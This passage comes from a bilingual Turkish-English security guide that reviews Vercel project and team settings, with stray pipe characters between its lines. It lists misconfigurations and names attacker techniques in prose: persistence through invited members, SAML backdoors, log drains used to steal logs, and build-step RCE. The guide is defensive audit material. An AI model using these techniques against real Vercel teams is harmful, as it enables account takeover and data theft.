- **Yanlış Yapılandırma:** Devre dışı bırakıldığında (varsayılan) üretilen sırların değerlerini okumak mümkündür.
|
||||
- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
|
||||
- **Paylaşılan Ortam Değişkenleri**
|
||||
- **Yanlış Yapılandırma:** Bunlar Ekip seviyesinde ayarlanan ortam değişkenleridir ve hassas bilgiler de içerebilir.
|
||||
- **Risk:** Hassas bilgilere kazara açılma veya yetkisiz erişim olasılığının artması.
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Shared Environment Variables**
|
||||
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
|
||||
---
|
||||
|
||||
### Git
|
||||
|
||||
**Amaç:** Git deposu entegrasyonlarını, dal korumalarını ve dağıtım tetikleyicilerini yapılandırmak.
|
||||
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Göz ardı Edilen Derleme Adımı (TODO)**
|
||||
- **Yanlış Yapılandırma:** Bu seçeneğin, Github'a yeni bir commit gönderildiğinde çalıştırılacak bir bash scripti/komutları yapılandırmaya izin verdiği görünmektedir, bu da RCE'ye izin verebilir.
|
||||
- **Risk:** TBD
|
||||
- **Ignored Build Step (TODO)**
|
||||
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
|
||||
- **Risk:** TBD
|
||||
|
||||
---
|
||||
|
||||
### Entegrasyonlar
|
||||
### Integrations
|
||||
|
||||
**Amaç:** Proje işlevselliğini artırmak için üçüncü taraf hizmetler ve araçlarla bağlantı kurmak.
|
||||
**Purpose:** Connect third-party services and tools to enhance project functionalities.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Güvensiz Üçüncü Taraf Entegrasyonları**
|
||||
- **Yanlış Yapılandırma:** Güvenilmeyen veya güvensiz üçüncü taraf hizmetlerle entegrasyon.
|
||||
- **Risk:** Kompromize edilmiş entegrasyonlar aracılığıyla zafiyetlerin, veri sızıntılarının veya arka kapıların tanıtılması.
|
||||
- **Aşırı İzinli Entegrasyonlar**
|
||||
- **Yanlış Yapılandırma:** Entegre hizmetlere aşırı izinler vermek.
|
||||
- **Risk:** Proje kaynaklarına yetkisiz erişim, veri manipülasyonu veya hizmet kesintileri.
|
||||
- **Entegrasyon İzleme Eksikliği**
|
||||
- **Yanlış Yapılandırma:** Üçüncü taraf entegrasyonları izlemeyi ve denetlemeyi ihmal etmek.
|
||||
- **Risk:** Kompromize olmuş entegrasyonların gecikmeli tespiti, güvenlik ihlallerinin potansiyel etkisini artırır.
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
|
||||
---
|
||||
|
||||
### Dağıtım Koruması
|
||||
### Deployment Protection
|
||||
|
||||
**Amaç:** Dağıtımları çeşitli koruma mekanizmalarıyla güvence altına almak, kimlerin ortamlarınıza erişebileceğini ve dağıtım yapabileceğini kontrol etmek.
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
**Vercel Kimlik Doğrulaması**
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Yanlış Yapılandırma:** Kimlik doğrulamayı devre dışı bırakmak veya ekip üyesi kontrollerini zorunlu kılmamak.
|
||||
- **Risk:** Yetkisiz kullanıcılar dağıtımlara erişebilir, bu da veri ihlallerine veya uygulama kötüye kullanımına yol açar.
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
|
||||
**Otomasyon için Koruma Atlatma**
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Yanlış Yapılandırma:** Atlatma sırrını kamuya açmak veya zayıf sırlar kullanmak.
|
||||
- **Risk:** Saldırganlar dağıtım korumalarını atlatabilir, korunan dağıtımlara erişebilir ve bunları manipüle edebilir.
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
|
||||
**Paylaşılabilir Bağlantılar**
|
||||
**Shareable Links**
|
||||
|
||||
- **Yanlış Yapılandırma:** Bağlantıları kayıtsızca paylaşmak veya eski bağlantıları iptal etmemek.
|
||||
- **Risk:** Korunan dağıtımlara yetkisiz erişim, kimlik doğrulama ve IP kısıtlamalarını atlatma.
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
|
||||
**OPTIONS İzin Listesi**
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Yanlış Yapılandırma:** Aşırı geniş yolları veya hassas uç noktaları izin listesine almak.
|
||||
- **Risk:** Saldırganlar, yetkisiz eylemler gerçekleştirmek veya güvenlik kontrollerini atlatmak için korunmayan yolları istismar edebilir.
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
|
||||
**Şifre Koruması**
|
||||
**Password Protection**
|
||||
|
||||
- **Yanlış Yapılandırma:** Zayıf şifreler kullanmak veya bunları güvensiz bir şekilde paylaşmak.
|
||||
- **Risk:** Şifreler tahmin edilirse veya sızdırılırsa dağıtımlara yetkisiz erişim.
|
||||
- **Not:** **Pro** planında **Gelişmiş Dağıtım Koruması** kapsamında ek $150/ay karşılığında mevcuttur.
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Dağıtım Koruma İstisnaları**
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Yanlış Yapılandırma:** Üretim veya hassas alan adlarını istisna listesine yanlışlıkla eklemek.
|
||||
- **Risk:** Kritik dağıtımların kamuya açılması, veri sızıntılarına veya yetkisiz erişime yol açar.
|
||||
- **Not:** **Pro** planında **Gelişmiş Dağıtım Koruması** kapsamında ek $150/ay karşılığında mevcuttur.
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Güvenilir IP'ler**
|
||||
**Trusted IPs**
|
||||
|
||||
- **Yanlış Yapılandırma:** IP adreslerini veya CIDR aralıklarını yanlış belirtmek.
|
||||
- **Risk:** Meşru kullanıcıların engellenmesi veya yetkisiz IP'lerin erişim kazanması.
|
||||
- **Not:** **Enterprise** planında mevcuttur.
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
|
||||
---
|
||||
|
||||
### Fonksiyonlar
|
||||
### Functions
|
||||
|
||||
**Amaç:** Sunucusuz fonksiyonları, çalışma zamanı ayarlarını, bellek tahsisini ve güvenlik politikalarını yapılandırmak.
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Hiçbiri**
|
||||
- **Nothing**
|
||||
|
||||
---
|
||||
|
||||
### Veri Önbelleği
|
||||
### Data Cache
|
||||
|
||||
**Amaç:** Performansı optimize etmek ve veri depolamasını kontrol etmek için önbellekleme stratejilerini ve ayarlarını yönetmek.
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Önbelleği Temizle**
|
||||
- **Yanlış Yapılandırma:** Tüm önbelleği silmeye izin verir.
|
||||
- **Risk:** Yetkisiz kullanıcıların önbelleği silmesi, potansiyel bir DoS'a yol açar.
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
|
||||
---
|
||||
|
||||
### Cron Görevleri
|
||||
### Cron Jobs
|
||||
|
||||
**Amaç:** Belirli aralıklarla otomatik görevleri ve scriptleri çalıştırmak için zamanlamak.
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Cron Görevini Devre Dışı Bırak**
|
||||
- **Yanlış Yapılandırma:** Kod içinde tanımlanan cron görevlerini devre dışı bırakmaya izin verir.
|
||||
- **Risk:** Hizmetin kesintiye uğraması (cron görevlerinin ne amaçla kullanıldığına bağlı olarak).
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Amaç:** İzleme ve denetleme için uygulama günlüklerini yakalamak ve depolamak üzere dış günlükleme hizmetlerini yapılandırmak.
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- Hiçbiri (takım ayarlarından yönetilir)
|
||||
- Nothing (managed from teams settings)
|
||||
|
||||
---
|
||||
|
||||
### Güvenlik
|
||||
### Security
|
||||
|
||||
**Amaç:** Proje erişimini, kaynak korumasını ve daha fazlasını etkileyen çeşitli güvenlik ile ilgili ayarlar için merkezi bir merkez.
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
**Derleme Günlükleri ve Kaynak Koruması**
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Yanlış Yapılandırma:** Korumayı devre dışı bırakmak veya `/logs` ve `/src` yollarını kamuya açmak.
|
||||
- **Risk:** Derleme günlüklerine ve kaynak koduna yetkisiz erişim, bilgi sızıntılarına ve potansiyel zafiyetlerin istismarına yol açar.
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
|
||||
**Git Fork Koruması**
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Yanlış Yapılandırma:** Uygun incelemeler olmadan yetkisiz çekme isteklerine izin vermek.
|
||||
- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar tanıtabilir.
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
|
||||
**OIDC Federasyonu ile Güvenli Arka Uç Erişimi**
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Yanlış Yapılandırma:** OIDC parametrelerini yanlış ayarlamak veya güvensiz verici URL'leri kullanmak.
|
||||
- **Risk:** Hatalı kimlik doğrulama akışları aracılığıyla arka uç hizmetlerine yetkisiz erişim.
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
|
||||
**Dağıtım Saklama Politikası**
|
||||
**Deployment Retention Policy**
|
||||
|
||||
- **Yanlış Yapılandırma:** Saklama sürelerini çok kısa (dağıtım geçmişini kaybetmek) veya çok uzun (gereksiz veri saklama) ayarlamak.
|
||||
- **Risk:** Gerekli olduğunda geri alma yapamama veya eski dağıtımlardan veri açığa çıkma riskinin artması.
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
|
||||
**Yeni Silinen Dağıtımlar**
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Yanlış Yapılandırma:** Silinen dağıtımları izlememek veya yalnızca otomatik silmelere güvenmek.
|
||||
- **Risk:** Kritik dağıtım geçmişinin kaybı, denetimleri ve geri alımları engeller.
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
|
||||
---
|
||||
|
||||
### Gelişmiş
|
||||
### Advanced
|
||||
|
||||
**Amaç:** Yapılandırmaları ince ayar yapmak ve güvenliği artırmak için ek proje ayarlarına erişim.
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
**Dizin Listeleme**
|
||||
**Directory Listing**
|
||||
|
||||
- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriklerini bir indeks dosyası olmadan görüntülemesine izin verir.
|
||||
- **Risk:** Hassas dosyaların, uygulama yapısının ve saldırılar için potansiyel giriş noktalarının açığa çıkması.
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
|
||||
---
|
||||
|
||||
## Proje Güvenlik Duvarı
|
||||
## Project Firewall
|
||||
|
||||
### Güvenlik Duvarı
|
||||
### Firewall
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
**Saldırı Zorlama Modunu Etkinleştir**
|
||||
**Enable Attack Challenge Mode**
|
||||
|
||||
- **Yanlış Yapılandırma:** Bunu etkinleştirmek, web uygulamasının DoS'a karşı savunmalarını artırır ancak kullanılabilirlikten ödün verir.
|
||||
- **Risk:** Potansiyel kullanıcı deneyimi sorunları.
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
|
||||
### Özel Kurallar ve IP Engelleme
|
||||
### Custom Rules & IP Blocking
|
||||
|
||||
- **Yanlış Yapılandırma:** Trafiği engellemek/açmak için izin verir.
|
||||
- **Risk:** Kötü niyetli trafiğe izin verme veya masum trafiği engelleme potansiyeli.
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
|
||||
---
|
||||
|
||||
## Proje Dağıtımı
|
||||
## Project Deployment
|
||||
|
||||
### Kaynak
|
||||
### Source
|
||||
|
||||
- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumak için erişim sağlar.
|
||||
- **Risk:** Hassas bilgilerin potansiyel açığa çıkması.
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
|
||||
### Eşitsizlik Koruması
|
||||
### Skew Protection
|
||||
|
||||
- **Yanlış Yapılandırma:** Bu koruma, istemci ve sunucu uygulamasının her zaman aynı sürümü kullanmasını sağlar, böylece istemcinin sunucudan farklı bir sürüm kullanması ve dolayısıyla birbirlerini anlamamaları durumu oluşmaz.
|
||||
- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekte yeni dağıtımlarda DoS sorunlarına yol açabilir.
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
|
||||
---
|
||||
|
||||
## Ekip Ayarları
|
||||
## Team Settings
|
||||
|
||||
### Genel
|
||||
### General
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Yanlış Yapılandırma:** Tüm projeleri başka bir ekibe aktarmaya izin verir.
|
||||
- **Risk:** Bir saldırgan projeleri çalabilir.
|
||||
- **Proje Sil**
|
||||
- **Yanlış Yapılandırma:** Tüm projelerle birlikte ekibi silmeye izin verir.
|
||||
- **Risk:** Projeleri silmek.
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects
|
||||
- **Risk:** Delete the projects
|
||||
|
||||
---
|
||||
|
||||
### Faturalama
|
||||
### Billing
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Hız İçgörüleri Maliyet Limiti**
|
||||
- **Yanlış Yapılandırma:** Bir saldırgan bu sayıyı artırabilir.
|
||||
- **Risk:** Artan maliyetler.
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
|
||||
---
|
||||
|
||||
### Üyeler
|
||||
### Members
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Üye Ekle**
|
||||
- **Yanlış Yapılandırma:** Bir saldırgan, kontrol ettiği bir hesabı davet ederek kalıcılık sağlayabilir.
|
||||
- **Risk:** Saldırgan kalıcılığı.
|
||||
- **Roller**
|
||||
- **Yanlış Yapılandırma:** İhtiyaç duymayan kişilere fazla izin vermek, Vercel yapılandırma riskini artırır. Tüm olası rolleri kontrol edin [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
|
||||
- **Risk:** Vercel Ekibinin maruziyetini artırmak.
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
|
||||
---
|
||||
|
||||
### Erişim Grupları
|
||||
### Access Groups
|
||||
|
||||
Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamaları ile bir araya getirilmiş projeler ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar.
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
|
||||
**Potansiyel Yanlış Yapılandırmalar:**
|
||||
**Potential Misconfigurations:**
|
||||
|
||||
- **Üyeleri Aşırı İzinlendirme:** Gereğinden fazla izinlere sahip roller atamak, yetkisiz erişim veya eylemlere yol açabilir.
|
||||
- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan roller atamak, ayrıcalıkların yükselmesine neden olabilir.
|
||||
- **Proje Ayrımı Eksikliği:** Hassas projeleri ayırmamak, istenenden daha geniş erişime izin verir.
|
||||
- **Yetersiz Grup Yönetimi:** Erişim Gruplarını düzenli olarak gözden geçirmemek veya güncellemeler yapmamak, güncel olmayan veya uygunsuz erişim izinlerine yol açar.
|
||||
- **Tutarsız Rol Tanımları:** Farklı Erişim Grupları arasında tutarsız veya belirsiz rol tanımları kullanmak, kafa karışıklığına ve güvenlik açıklarına yol açar.
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Üçüncü taraflara Log Drains:**
|
||||
- **Yanlış Yapılandırma:** Bir saldırgan, logları çalmak için bir Log Drain yapılandırabilir.
|
||||
- **Risk:** Kısmi kalıcılık.
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
|
||||
---
|
||||
|
||||
### Güvenlik ve Gizlilik
|
||||
### Security & Privacy
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alan adıyla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder.
|
||||
- **Yanlış Yapılandırma:**
|
||||
- Yanlış e-posta alanı belirtmek veya Ekip E-posta Alanı ayarında yanlış yazılmış bir alan kullanmak.
|
||||
- Şirket spesifik bir alan yerine yaygın bir e-posta alanı (örneğin, `gmail.com`, `hotmail.com`) kullanmak.
|
||||
- **Riskler:**
|
||||
- **Yetkisiz Erişim:** İstenmeyen alanlardan e-posta adreslerine sahip kullanıcılar, ekibinize katılmak için davet alabilir.
|
||||
- **Veri Açığı:** Hassas proje bilgilerini yetkisiz bireylere açma potansiyeli.
|
||||
- **Korunan Git Kapsamları:** Korunan kapsamdan diğer Vercel ekiplerinin depo dağıtımını önlemek için ekibinize 5'e kadar Git kapsamı eklemenize izin verir. Birden fazla ekip aynı kapsamı belirtebilir, her iki ekibin de erişimi olur.
|
||||
- **Yanlış Yapılandırma:** Kritik Git kapsamlarını korunan listeye eklememek.
|
||||
- **Riskler:**
|
||||
- **Yetkisiz Dağıtımlar:** Diğer ekipler, kuruluşunuzun Git kapsamlarından yetkisiz olarak depo dağıtabilir.
|
||||
- **Fikri Mülkiyet Açığı:** Sahip kod, ekibinizin dışında dağıtılabilir ve erişilebilir.
|
||||
- **Ortam Değişkeni Politikaları:** Ekibin ortam değişkenlerinin oluşturulması ve düzenlenmesi için politikaları zorunlu kılar. Özellikle, tüm ortam değişkenlerinin yalnızca Vercel'in dağıtım sistemi tarafından şifrelenebilen **Hassas Ortam Değişkenleri** olarak oluşturulmasını zorunlu kılabilirsiniz.
|
||||
- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunluluğunu devre dışı bırakmak.
|
||||
- **Riskler:**
|
||||
- **Sırların Açığa Çıkması:** Ortam değişkenleri, yetkisiz ekip üyeleri tarafından görüntülenebilir veya düzenlenebilir.
|
||||
- **Veri İhlali:** API anahtarları ve kimlik bilgileri gibi hassas bilgilerin sızdırılması.
|
||||
- **Denetim Günlüğü:** Ekibin etkinliğinin son 90 güne kadar bir dışa aktarımını sağlar. Denetim günlükleri, ekip üyeleri tarafından gerçekleştirilen eylemleri izlemeye ve takip etmeye yardımcı olur.
|
||||
- **Yanlış Yapılandırma:**\
|
||||
Yetkisiz ekip üyelerine denetim günlüklerine erişim vermek.
|
||||
- **Riskler:**
|
||||
- **Gizlilik İhlalleri:** Hassas kullanıcı etkinlikleri ve verilerin açığa çıkması.
|
||||
- **Günlüklerle Oynama:** Kötü niyetli aktörler, izlerini örtmek için günlükleri değiştirebilir veya silebilir.
|
||||
- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcı (IdP) ile entegrasyon sağlar.
|
||||
- **Yanlış Yapılandırma:** Bir saldırgan, SAML parametrelerini (örneğin, Varlık Kimliği, SSO URL'si veya sertifika parmak izleri) ayarlayarak ekibi arka kapı ile kurabilir.
|
||||
- **Risk:** Kalıcılığı sürdürmek.
|
||||
- **IP Adresi Görünürlüğü:** IP adreslerinin, belirli veri koruma yasaları altında kişisel bilgi olarak kabul edilebileceği durumlarda, İzleme sorgularında ve Log Drains'de görüntülenip görüntülenmeyeceğini kontrol eder.
|
||||
- **Yanlış Yapılandırma:** Gereksiz yere IP adresi görünürlüğünü etkin bırakmak.
|
||||
- **Riskler:**
|
||||
- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemelerine uyumsuzluk.
|
||||
- **Hukuki Sonuçlar:** Kişisel verilerin kötü yönetimi nedeniyle potansiyel para cezaları ve yaptırımlar.
|
||||
- **IP Engelleme:** Vercel'in istekleri engellemesi gereken IP adreslerini ve CIDR aralıklarını yapılandırmanıza olanak tanır. Engellenen istekler, faturalamanıza katkıda bulunmaz.
|
||||
- **Yanlış Yapılandırma:** Bir saldırgan tarafından kötü niyetli trafiğe izin vermek veya meşru trafiği engellemek için kötüye kullanılabilir.
|
||||
- **Riskler:**
|
||||
- **Meşru Kullanıcılara Hizmet Reddi:** Geçerli kullanıcılar veya ortaklar için erişimi engelleme.
|
||||
- **Operasyonel Kesintiler:** Belirli bölgeler veya müşteriler için hizmetin kullanılabilirliğinin kaybı.
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
|
||||
---
|
||||
|
||||
### Güvenli Hesaplama
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Güvenli Hesaplama**, Vercel Fonksiyonları ile arka uç ortamları (örneğin, veritabanları) arasında güvenli, özel bağlantılar sağlar ve özel IP adresleri ile izole ağlar kurar. Bu, arka uç hizmetlerini kamuya açma ihtiyacını ortadan kaldırarak güvenliği, uyumu ve gizliliği artırır.
|
||||
